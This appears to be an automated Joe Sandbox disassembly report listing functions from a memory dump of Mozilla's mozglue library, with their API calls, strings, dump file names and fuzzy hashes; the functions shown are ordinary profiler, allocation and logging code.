Instruction Fuzzy Hash: 3FC15EB6904701CFD724DF68C08465AFBF5BF89304F158A6ED8998B325D778E885CB82

Function 6BF58ED0 Relevance: 17.8, APIs: 1, Strings: 9, Instructions: 311COMMON

Download Yara Rule

APIs

Part of subcall function 6BF1EB30: free.MOZGLUE(?,?,?,?,?,?,?,?,?,?,?,?), ref: 6BF1EB83

?FormatToStringSpan@MarkerSchema@mozilla@@CA?AV?$Span@$$CBD$0PPPPPPPP@@2@W4Format@12@@Z.MOZGLUE(?,?,00000004,?,?,?,?,?,?,6BF5B392,?,?,00000001), ref: 6BF591F4

Part of subcall function 6BF4CBE8: GetCurrentProcess.KERNEL32(?,6BF131A7), ref: 6BF4CBF1
Part of subcall function 6BF4CBE8: TerminateProcess.KERNEL32(00000000,00000003,?,6BF131A7), ref: 6BF4CBFA

Strings

marker-table, xrefs: 6BF5906C
timeline-ipc, xrefs: 6BF59096
stack-chart, xrefs: 6BF590B2
timeline-fileio, xrefs: 6BF590A4
name, xrefs: 6BF58F16
timeline-overview, xrefs: 6BF5907A
marker-chart, xrefs: 6BF5905E
timeline-memory, xrefs: 6BF59088
data, xrefs: 6BF590E8

Memory Dump Source

Source File: 00000004.00000002.2347785472.000000006BF11000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6BF10000, based on PE: true

Associated: 00000004.00000002.2347749431.000000006BF10000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000004.00000002.2347880042.000000006BF8D000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000004.00000002.2347923754.000000006BF9E000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000004.00000002.2347969818.000000006BFA2000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_6bf10000_NU4SX64NXMV3YXYV8G3PIA0S0.jbxd

Similarity

API ID: Process$CurrentFormatFormat@12@@MarkerP@@2@Schema@mozilla@@Span@Span@$$StringTerminatefree
String ID: data$marker-chart$marker-table$name$stack-chart$timeline-fileio$timeline-ipc$timeline-memory$timeline-overview
API String ID: 3790164461-3347204862
Opcode ID: 4fde3d3c43d8c22ed450dfb7f83aca676e406945a58bb511403cf4f16000924b
Instruction ID: d1e70d6e78a85f77a377968dba941ed224e74e83a5075b6372ce4b23049aefae
Opcode Fuzzy Hash: 4fde3d3c43d8c22ed450dfb7f83aca676e406945a58bb511403cf4f16000924b
Instruction Fuzzy Hash: C4B12AB3A1020A9BDF08CFA8D8517AEBBB6FF95344F104429D401AB761CB799955CBE0

Function 6BF3C769 Relevance: 17.7, APIs: 6, Strings: 4, Instructions: 159COMMON

Download Yara Rule

APIs

islower.API-MS-WIN-CRT-STRING-L1-1-0 ref: 6BF3C784
_dsign.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6BF3C801
_dtest.API-MS-WIN-CRT-MATH-L1-1-0(?), ref: 6BF3C83D
?ToPrecision@DoubleToStringConverter@double_conversion@@QBE_NNHPAVStringBuilder@2@@Z.MOZGLUE ref: 6BF3C891

Strings

nan, xrefs: 6BF3C7A8
NAN, xrefs: 6BF3C7AD
INF, xrefs: 6BF3C794
inf, xrefs: 6BF3C78F

Memory Dump Source

Source File: 00000004.00000002.2347785472.000000006BF11000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6BF10000, based on PE: true

Associated: 00000004.00000002.2347749431.000000006BF10000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000004.00000002.2347880042.000000006BF8D000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000004.00000002.2347923754.000000006BF9E000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000004.00000002.2347969818.000000006BFA2000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_6bf10000_NU4SX64NXMV3YXYV8G3PIA0S0.jbxd

Similarity

API ID: String$Builder@2@@Converter@double_conversion@@DoublePrecision@_dsign_dtestislower
String ID: INF$NAN$inf$nan
API String ID: 1991403756-4166689840
Opcode ID: 80d1a2368bb8642976322cec3bca881e83e66673e5d35ccc18d3fab9c00f24a9
Instruction ID: 26ef0be93858304edffe4613bd88b1b35f7986734310f675124811f7df03c095
Opcode Fuzzy Hash: 80d1a2368bb8642976322cec3bca881e83e66673e5d35ccc18d3fab9c00f24a9
Instruction Fuzzy Hash: A35195729087509BD700DF2CC48169AFBF1BF8A344F00892DE9D5A7261E778D989CB83

Function 6BF5EB90 Relevance: 17.6, APIs: 9, Strings: 1, Instructions: 66threadsynchronizationCOMMON

Download Yara Rule

APIs

Part of subcall function 6BF59420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_VERBOSE_LOGGING,6BF24A68), ref: 6BF5945E
Part of subcall function 6BF59420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_DEBUG_LOGGING), ref: 6BF59470
Part of subcall function 6BF59420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_LOGGING), ref: 6BF59482
Part of subcall function 6BF59420: __Init_thread_footer.LIBCMT ref: 6BF5949F

GetCurrentThreadId.KERNEL32 ref: 6BF5EBA4
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0(?,?,00000000), ref: 6BF5EBAC

Part of subcall function 6BF594D0: __acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002,00000000,00000000), ref: 6BF594EE
Part of subcall function 6BF594D0: __stdio_common_vfprintf.API-MS-WIN-CRT-STDIO-L1-1-0(00000000,?,00000000,00000000,00000000,?), ref: 6BF59508

GetCurrentThreadId.KERNEL32 ref: 6BF5EBC1
AcquireSRWLockExclusive.KERNEL32(6BF9F4B8,?,?,00000000), ref: 6BF5EBCE
?profiler_init@baseprofiler@mozilla@@YAXPAX@Z.MOZGLUE(00000000,?,?,00000000), ref: 6BF5EBE5
ReleaseSRWLockExclusive.KERNEL32(6BF9F4B8,00000000), ref: 6BF5EC37
WaitForSingleObject.KERNEL32(?,000000FF), ref: 6BF5EC46
CloseHandle.KERNEL32(?), ref: 6BF5EC55
free.MOZGLUE(00000000), ref: 6BF5EC5C

Strings

[I %d/%d] profiler_start, xrefs: 6BF5EBB4
[I %d/%d] baseprofiler_save_profile_to_file(%s), xrefs: 6BF5EA9B

Memory Dump Source

Source File: 00000004.00000002.2347785472.000000006BF11000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6BF10000, based on PE: true

Associated: 00000004.00000002.2347749431.000000006BF10000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000004.00000002.2347880042.000000006BF8D000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000004.00000002.2347923754.000000006BF9E000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000004.00000002.2347969818.000000006BFA2000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_6bf10000_NU4SX64NXMV3YXYV8G3PIA0S0.jbxd

Similarity

API ID: getenv$CurrentExclusiveLockThread$?profiler_init@baseprofiler@mozilla@@AcquireCloseHandleInit_thread_footerObjectReleaseSingleWait__acrt_iob_func__stdio_common_vfprintf_getpidfree
String ID: [I %d/%d] baseprofiler_save_profile_to_file(%s)$[I %d/%d] profiler_start
API String ID: 4250961200-1186885292
Opcode ID: 29f9e94268cbc956abf37868c16d657af5f9b7defcd155ef80efa55b0302a004
Instruction ID: 1d40454dc32db8813e439cb76d353a0371637f98cb2eb695cf4c614e32df26cd
Opcode Fuzzy Hash: 29f9e94268cbc956abf37868c16d657af5f9b7defcd155ef80efa55b0302a004
Instruction Fuzzy Hash: D7113673810115AFCF00BF78D849B6A7769EF55329F008220FD1997271D739E86ACBA2

Function 6BF4F2B0 Relevance: 15.9, APIs: 8, Strings: 1, Instructions: 140COMMON

Download Yara Rule

APIs

GetModuleHandleW.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,?,6BF4D9DB), ref: 6BF4F2D2
GetModuleHandleW.KERNEL32(ntdll.dll,00000000), ref: 6BF4F2F5
moz_xmalloc.MOZGLUE(?,?,00000000), ref: 6BF4F386
moz_xmalloc.MOZGLUE(00000008,00000000), ref: 6BF4F347

Part of subcall function 6BF2CA10: malloc.MOZGLUE(?), ref: 6BF2CA26

moz_xmalloc.MOZGLUE(00000008,00000000), ref: 6BF4F3C8
free.MOZGLUE(00000000,00000000), ref: 6BF4F3F3
free.MOZGLUE(00000000,00000000), ref: 6BF4F3FC
free.MOZGLUE(00000000,?,?,00000000), ref: 6BF4F413

Strings

ntdll.dll, xrefs: 6BF4F2F0

Memory Dump Source

Source File: 00000004.00000002.2347785472.000000006BF11000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6BF10000, based on PE: true

Associated: 00000004.00000002.2347749431.000000006BF10000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000004.00000002.2347880042.000000006BF8D000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000004.00000002.2347923754.000000006BF9E000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000004.00000002.2347969818.000000006BFA2000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_6bf10000_NU4SX64NXMV3YXYV8G3PIA0S0.jbxd

Similarity

API ID: freemoz_xmalloc$HandleModule$malloc
String ID: ntdll.dll
API String ID: 301460908-2227199552
Opcode ID: 197c2a5d627d367e365ea1107d603caf76964b888d94f9a445cb98a719297c36
Instruction ID: 624bd246fbaae49524e822af1b01662e912d1fe33ba4f670208f3ebaa0c1deba
Opcode Fuzzy Hash: 197c2a5d627d367e365ea1107d603caf76964b888d94f9a445cb98a719297c36
Instruction Fuzzy Hash: 654123B3E002058BEB449F78D8457AABBA4EF45718F10442DD91EA73B2EB78E416C790

Function 6BF76A10 Relevance: 15.9, APIs: 8, Strings: 1, Instructions: 115stringCOMMON

Download Yara Rule

APIs

InitializeCriticalSection.KERNEL32(6BF9F618), ref: 6BF76A68
GetCurrentProcess.KERNEL32 ref: 6BF76A7D
GetCurrentProcess.KERNEL32 ref: 6BF76AA1
EnterCriticalSection.KERNEL32(6BF9F618), ref: 6BF76AAE
strncpy.API-MS-WIN-CRT-STRING-L1-1-0(?,?,00000100), ref: 6BF76AE1
strncpy.API-MS-WIN-CRT-STRING-L1-1-0(?,?,00000100), ref: 6BF76B15
strncpy.API-MS-WIN-CRT-STRING-L1-1-0(?,?,00000100,?,?), ref: 6BF76B65
LeaveCriticalSection.KERNEL32(6BF9F618,?,?), ref: 6BF76B83

Strings

SymInitialize, xrefs: 6BF76BA3

Memory Dump Source

Source File: 00000004.00000002.2347785472.000000006BF11000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6BF10000, based on PE: true

Associated: 00000004.00000002.2347749431.000000006BF10000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000004.00000002.2347880042.000000006BF8D000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000004.00000002.2347923754.000000006BF9E000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000004.00000002.2347969818.000000006BFA2000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_6bf10000_NU4SX64NXMV3YXYV8G3PIA0S0.jbxd

Similarity

API ID: CriticalSectionstrncpy$CurrentProcess$EnterInitializeLeave
String ID: SymInitialize
API String ID: 3103739362-3981310019
Opcode ID: 5bb9f6aaec2a6e5581677f9b4044ca4ca536bf392d6e6ee03ce0296ee8873cb4
Instruction ID: cb27c4276f76a365ba6f65451e34657c85a71faf9701dfd07676e9c9b4d89473
Opcode Fuzzy Hash: 5bb9f6aaec2a6e5581677f9b4044ca4ca536bf392d6e6ee03ce0296ee8873cb4
Instruction Fuzzy Hash: 1F41A771614345AFEB10EF78D888B9A3BA8EB46304F0444B9FD44CF263D7B59519CB61

Function 6BF75FF0 Relevance: 15.1, APIs: 10, Instructions: 76COMMON

Download Yara Rule

APIs

IsDebuggerPresent.KERNEL32 ref: 6BF76009
??0PrintfTarget@mozilla@@IAE@XZ.MOZGLUE ref: 6BF76024
?vprint@PrintfTarget@mozilla@@QAE_NPBDPAD@Z.MOZGLUE(6BF1EE51,?), ref: 6BF76046
OutputDebugStringA.KERNEL32(?,6BF1EE51,?), ref: 6BF76061
__acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002), ref: 6BF76069
_fileno.API-MS-WIN-CRT-STDIO-L1-1-0(00000000), ref: 6BF76073
_dup.API-MS-WIN-CRT-STDIO-L1-1-0(00000000), ref: 6BF76082
_fdopen.API-MS-WIN-CRT-MATH-L1-1-0(00000000,6BF9148E), ref: 6BF76091
__stdio_common_vfprintf.API-MS-WIN-CRT-STDIO-L1-1-0(00000000,?,00000000,6BF1EE51,00000000,?), ref: 6BF760BA
fclose.API-MS-WIN-CRT-STDIO-L1-1-0(00000000), ref: 6BF760C4

Memory Dump Source

Source File: 00000004.00000002.2347785472.000000006BF11000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6BF10000, based on PE: true

Associated: 00000004.00000002.2347749431.000000006BF10000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000004.00000002.2347880042.000000006BF8D000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000004.00000002.2347923754.000000006BF9E000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000004.00000002.2347969818.000000006BFA2000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_6bf10000_NU4SX64NXMV3YXYV8G3PIA0S0.jbxd

Similarity

API ID: PrintfTarget@mozilla@@$?vprint@DebugDebuggerOutputPresentString__acrt_iob_func__stdio_common_vfprintf_dup_fdopen_filenofclose
String ID:
API String ID: 3835517998-0
Opcode ID: 396c4300996bf3ab9d3a35ad27702af54a60e82da5db1627b009ac3a98236a7c
Instruction ID: a599b1e88406e9e59645c349318c30a61f830eefe00735fcd9bd04fdb6df0d2b
Opcode Fuzzy Hash: 396c4300996bf3ab9d3a35ad27702af54a60e82da5db1627b009ac3a98236a7c
Instruction Fuzzy Hash: A321E7729002189FDB106F78DC09B9E7BA8FF45318F008878E81997261CB38E549CFD1

Function 6BF5DBB0 Relevance: 14.2, APIs: 7, Strings: 1, Instructions: 207threadCOMMON

Download Yara Rule

APIs

Part of subcall function 6BF59420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_VERBOSE_LOGGING,6BF24A68), ref: 6BF5945E
Part of subcall function 6BF59420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_DEBUG_LOGGING), ref: 6BF59470
Part of subcall function 6BF59420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_LOGGING), ref: 6BF59482
Part of subcall function 6BF59420: __Init_thread_footer.LIBCMT ref: 6BF5949F

GetCurrentThreadId.KERNEL32 ref: 6BF5DBE1
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6BF5DBE9

Part of subcall function 6BF594D0: __acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002,00000000,00000000), ref: 6BF594EE
Part of subcall function 6BF594D0: __stdio_common_vfprintf.API-MS-WIN-CRT-STDIO-L1-1-0(00000000,?,00000000,00000000,00000000,?), ref: 6BF59508

??1ios_base@std@@UAE@XZ.MSVCP140 ref: 6BF5DC5D
moz_xmalloc.MOZGLUE(00000008,00000000), ref: 6BF5DC7F

Part of subcall function 6BF2CA10: malloc.MOZGLUE(?), ref: 6BF2CA26

Part of subcall function 6BF59A60: GetCurrentThreadId.KERNEL32 ref: 6BF59A95
Part of subcall function 6BF59A60: _getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6BF59A9D
Part of subcall function 6BF59A60: ?profiler_time@baseprofiler@mozilla@@YANXZ.MOZGLUE ref: 6BF59ACC
Part of subcall function 6BF59A60: ?Now@TimeStamp@mozilla@@CA?AV12@_N@Z.MOZGLUE(?,00000001), ref: 6BF59BA7
Part of subcall function 6BF59A60: ??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(00000000), ref: 6BF59BB8
Part of subcall function 6BF59A60: ??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(00000000,00000000), ref: 6BF59BC9

Part of subcall function 6BF5E8B0: malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000000,?,?,?,?,?,?,?,?,?,?,?,00000000,?,?,6BF5DCF5), ref: 6BF5E92D

free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 6BF5DD1B
free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 6BF5DD44
free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 6BF5DD58

Part of subcall function 6BF4CBE8: GetCurrentProcess.KERNEL32(?,6BF131A7), ref: 6BF4CBF1
Part of subcall function 6BF4CBE8: TerminateProcess.KERNEL32(00000000,00000003,?,6BF131A7), ref: 6BF4CBFA

Strings

[I %d/%d] locked_profiler_save_profile_to_file(%s), xrefs: 6BF5DBF2

Memory Dump Source

Source File: 00000004.00000002.2347785472.000000006BF11000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6BF10000, based on PE: true

Associated: 00000004.00000002.2347749431.000000006BF10000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000004.00000002.2347880042.000000006BF8D000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000004.00000002.2347923754.000000006BF9E000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000004.00000002.2347969818.000000006BFA2000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_6bf10000_NU4SX64NXMV3YXYV8G3PIA0S0.jbxd

Similarity

API ID: CurrentTimefreegetenv$ProcessStampThreadV01@@Value@mozilla@@_getpidmalloc$??1ios_base@std@@?profiler_time@baseprofiler@mozilla@@Init_thread_footerNow@Stamp@mozilla@@TerminateV12@___acrt_iob_func__stdio_common_vfprintfmoz_xmalloc
String ID: [I %d/%d] locked_profiler_save_profile_to_file(%s)
API String ID: 3378208378-1387374313
Opcode ID: 1a8ced8aa383767ab276b3e4c0e1e743563541e48b320d52b981b6eed6098efe
Instruction ID: a83cbeef69a9bd74b364b2f005ba7f76994fd22a91beb7376b93536d1f6244ca
Opcode Fuzzy Hash: 1a8ced8aa383767ab276b3e4c0e1e743563541e48b320d52b981b6eed6098efe
Instruction Fuzzy Hash: D181D07A6017018FDB24DF28C485A6AB7F1FF99308F00892DD85687762DB38F959CB51

Function 6BF60000 Relevance: 14.1, APIs: 7, Strings: 1, Instructions: 127threadCOMMON

Download Yara Rule

APIs

Part of subcall function 6BF59420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_VERBOSE_LOGGING,6BF24A68), ref: 6BF5945E
Part of subcall function 6BF59420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_DEBUG_LOGGING), ref: 6BF59470
Part of subcall function 6BF59420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_LOGGING), ref: 6BF59482
Part of subcall function 6BF59420: __Init_thread_footer.LIBCMT ref: 6BF5949F

GetCurrentThreadId.KERNEL32 ref: 6BF60039
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6BF60041
GetCurrentThreadId.KERNEL32 ref: 6BF60075
AcquireSRWLockExclusive.KERNEL32(6BF9F4B8), ref: 6BF60082
moz_xmalloc.MOZGLUE(00000048), ref: 6BF60090
free.MOZGLUE(?), ref: 6BF60104
ReleaseSRWLockExclusive.KERNEL32(6BF9F4B8), ref: 6BF6011B

Strings

[D %d/%d] profiler_register_page(%llu, %llu, %s, %llu), xrefs: 6BF6005B

Memory Dump Source

Source File: 00000004.00000002.2347785472.000000006BF11000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6BF10000, based on PE: true

Associated: 00000004.00000002.2347749431.000000006BF10000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000004.00000002.2347880042.000000006BF8D000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000004.00000002.2347923754.000000006BF9E000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000004.00000002.2347969818.000000006BFA2000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_6bf10000_NU4SX64NXMV3YXYV8G3PIA0S0.jbxd

Similarity

API ID: getenv$CurrentExclusiveLockThread$AcquireInit_thread_footerRelease_getpidfreemoz_xmalloc
String ID: [D %d/%d] profiler_register_page(%llu, %llu, %s, %llu)
API String ID: 3012294017-637075127
Opcode ID: 0dcc2fb515f26f32ce728a770bda3f93f2cf1d10a1278eea629d4e82278ee3be
Instruction ID: 7916ba12c466c21116aa6e23b2e8d3582b77ad847113314086b00fce96854bc3
Opcode Fuzzy Hash: 0dcc2fb515f26f32ce728a770bda3f93f2cf1d10a1278eea629d4e82278ee3be
Instruction Fuzzy Hash: 90418CB69102059FCB10EF68C881A9ABBF1FF49354F50491DED5A83361EB35F819CBA1

Function 6BF12030 Relevance: 13.7, APIs: 7, Strings: 2, Instructions: 204memoryCOMMON

Download Yara Rule

APIs

memcpy.VCRUNTIME140(00000000,?,6BF33F47,?,?,?,6BF33F47,6BF31A70,?), ref: 6BF1207F
memset.VCRUNTIME140(?,000000E5,6BF33F47,?,6BF33F47,6BF31A70,?), ref: 6BF120DD
VirtualFree.KERNEL32(00100000,00100000,00004000,?,6BF33F47,6BF31A70,?), ref: 6BF1211A
EnterCriticalSection.KERNEL32(6BF9E744,?,6BF33F47,6BF31A70,?), ref: 6BF12145
VirtualAlloc.KERNEL32(?,00100000,00001000,00000004,?,6BF33F47,6BF31A70,?), ref: 6BF121BA
EnterCriticalSection.KERNEL32(6BF9E744,?,6BF33F47,6BF31A70,?), ref: 6BF121E0
LeaveCriticalSection.KERNEL32(6BF9E744,?,6BF33F47,6BF31A70,?), ref: 6BF12232

Strings

MOZ_CRASH(), xrefs: 6BF1227D
MOZ_RELEASE_ASSERT(node->mArena == this), xrefs: 6BF12253, 6BF12268

Memory Dump Source

Source File: 00000004.00000002.2347785472.000000006BF11000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6BF10000, based on PE: true

Associated: 00000004.00000002.2347749431.000000006BF10000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000004.00000002.2347880042.000000006BF8D000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000004.00000002.2347923754.000000006BF9E000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000004.00000002.2347969818.000000006BFA2000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_6bf10000_NU4SX64NXMV3YXYV8G3PIA0S0.jbxd

Similarity

API ID: CriticalSection$EnterVirtual$AllocFreeLeavememcpymemset
String ID: MOZ_CRASH()$MOZ_RELEASE_ASSERT(node->mArena == this)
API String ID: 889484744-884734703
Opcode ID: 7254a79325138611ea5e6be7707244613e9b0638074ad4b745f68c39a02f9fc8
Instruction ID: fd341a1148be601bdcdd0bb33b5aa48af3552bd696f6cb2c838279a0901067e7
Opcode Fuzzy Hash: 7254a79325138611ea5e6be7707244613e9b0638074ad4b745f68c39a02f9fc8
Instruction Fuzzy Hash: 69612533E042168FDB04DFA8C88576E77B6AF86314F144A79E524A76B4D77A9C04C782

Function 6BF148E0 Relevance: 13.7, APIs: 9, Instructions: 198COMMON

Download Yara Rule

APIs

moz_xmalloc.MOZGLUE(8E8DFFFF,?,6BF5483A,?), ref: 6BF14ACB
memcpy.VCRUNTIME140(-00000023,?,8E8DFFFF,?,?,6BF5483A,?), ref: 6BF14AE0
moz_xmalloc.MOZGLUE(FFFE15BF,?,6BF5483A,?), ref: 6BF14A82

Part of subcall function 6BF2CA10: mozalloc_abort.MOZGLUE(?), ref: 6BF2CAA2

memcpy.VCRUNTIME140(-00000023,?,FFFE15BF,?,?,6BF5483A,?), ref: 6BF14A97
moz_xmalloc.MOZGLUE(15D4E801,?,6BF5483A,?), ref: 6BF14A35

Part of subcall function 6BF2CA10: malloc.MOZGLUE(?), ref: 6BF2CA26

memcpy.VCRUNTIME140(-00000023,?,15D4E801,?,?,6BF5483A,?), ref: 6BF14A4A
moz_xmalloc.MOZGLUE(15D4E824,?,6BF5483A,?), ref: 6BF14AF4
moz_xmalloc.MOZGLUE(FFFE15E2,?,6BF5483A,?), ref: 6BF14B10
moz_xmalloc.MOZGLUE(8E8E0022,?,6BF5483A,?), ref: 6BF14B2C

Memory Dump Source

Source File: 00000004.00000002.2347785472.000000006BF11000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6BF10000, based on PE: true

Associated: 00000004.00000002.2347749431.000000006BF10000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000004.00000002.2347880042.000000006BF8D000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000004.00000002.2347923754.000000006BF9E000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000004.00000002.2347969818.000000006BFA2000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_6bf10000_NU4SX64NXMV3YXYV8G3PIA0S0.jbxd

Similarity

API ID: moz_xmalloc$memcpy$mallocmozalloc_abort
String ID:
API String ID: 4251373892-0
Opcode ID: 5d8f15a46075c6f23e74a93108e1c775b8c62672de11371df24fb4108a31228e
Instruction ID: fbb4c0e73fcc66f05e827c0537f43602abd0457a46072102d3c7bb3307f7313b
Opcode Fuzzy Hash: 5d8f15a46075c6f23e74a93108e1c775b8c62672de11371df24fb4108a31228e
Instruction Fuzzy Hash: D67168B29047068FDB14CF78C4919AAB7F4FF48308B504A3ED15A8B661E735EA55CF80

Function 6BF6AB90 Relevance: 13.6, APIs: 9, Instructions: 135threadCOMMON

Download Yara Rule

APIs

GetCurrentThreadId.KERNEL32 ref: 6BF6ABB4
AcquireSRWLockExclusive.KERNEL32(6BF24A63), ref: 6BF6ABC0
ReleaseSRWLockExclusive.KERNEL32 ref: 6BF6AC06
GetCurrentThreadId.KERNEL32 ref: 6BF6AC16
AcquireSRWLockExclusive.KERNEL32(?), ref: 6BF6AC27
ReleaseSRWLockExclusive.KERNEL32 ref: 6BF6AC66
free.MOZGLUE(?), ref: 6BF6AD19
free.MOZGLUE(00000000), ref: 6BF6AD2B
?_Xbad_function_call@std@@YAXXZ.MSVCP140(00000000), ref: 6BF6AD38

Memory Dump Source

Source File: 00000004.00000002.2347785472.000000006BF11000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6BF10000, based on PE: true

Associated: 00000004.00000002.2347749431.000000006BF10000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000004.00000002.2347880042.000000006BF8D000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000004.00000002.2347923754.000000006BF9E000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000004.00000002.2347969818.000000006BFA2000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_6bf10000_NU4SX64NXMV3YXYV8G3PIA0S0.jbxd

Similarity

API ID: ExclusiveLock$AcquireCurrentReleaseThreadfree$Xbad_function_call@std@@
String ID:
API String ID: 2167474191-0
Opcode ID: 1744077e195875ff3c8c4f3f4d5a0926524051cddc41eb2a95505b2c03dabd74
Instruction ID: 69e86f9beccf1c67c4a7c5f9dfbba0f4def75a9c7e4c97e826738f902685734e
Opcode Fuzzy Hash: 1744077e195875ff3c8c4f3f4d5a0926524051cddc41eb2a95505b2c03dabd74
Instruction Fuzzy Hash: 6A515476600B018FC724DF35C48875ABBF5BF89354F104A2DD9AA83761EB78E849CB41

Function 6BF6CB30 Relevance: 13.6, APIs: 9, Instructions: 129COMMON

Download Yara Rule

APIs

?_Fiopen@std@@YAPAU_iobuf@@PBDHH@Z.MSVCP140(00000000,00000002,00000040,?,?,6BF6BCAE,?,?,6BF5DC2C), ref: 6BF6CB52
?getloc@?$basic_streambuf@DU?$char_traits@D@std@@@std@@QBE?AVlocale@2@XZ.MSVCP140(?,00000000,00000001,?,?,?,?,?,6BF6BCAE,?,?,6BF5DC2C), ref: 6BF6CB82
??0_Lockit@std@@QAE@H@Z.MSVCP140(00000000,?,?,?,?,?,6BF6BCAE,?,?,6BF5DC2C), ref: 6BF6CB8D
??Bid@locale@std@@QAEIXZ.MSVCP140(?,?,?,?,?,6BF6BCAE,?,?,6BF5DC2C), ref: 6BF6CBA4
?_Getgloballocale@locale@std@@CAPAV_Locimp@12@XZ.MSVCP140(?,?,?,?,?,6BF6BCAE,?,?,6BF5DC2C), ref: 6BF6CBC4
?_Getcat@?$codecvt@DDU_Mbstatet@@@std@@SAIPAPBVfacet@locale@2@PBV42@@Z.MSVCP140(?,?,?,?,?,?,?,6BF6BCAE,?,?,6BF5DC2C), ref: 6BF6CBE9
std::_Facet_Register.LIBCPMT ref: 6BF6CBFB
??1_Lockit@std@@QAE@XZ.MSVCP140(?,?,?,?,?,6BF6BCAE,?,?,6BF5DC2C), ref: 6BF6CC20
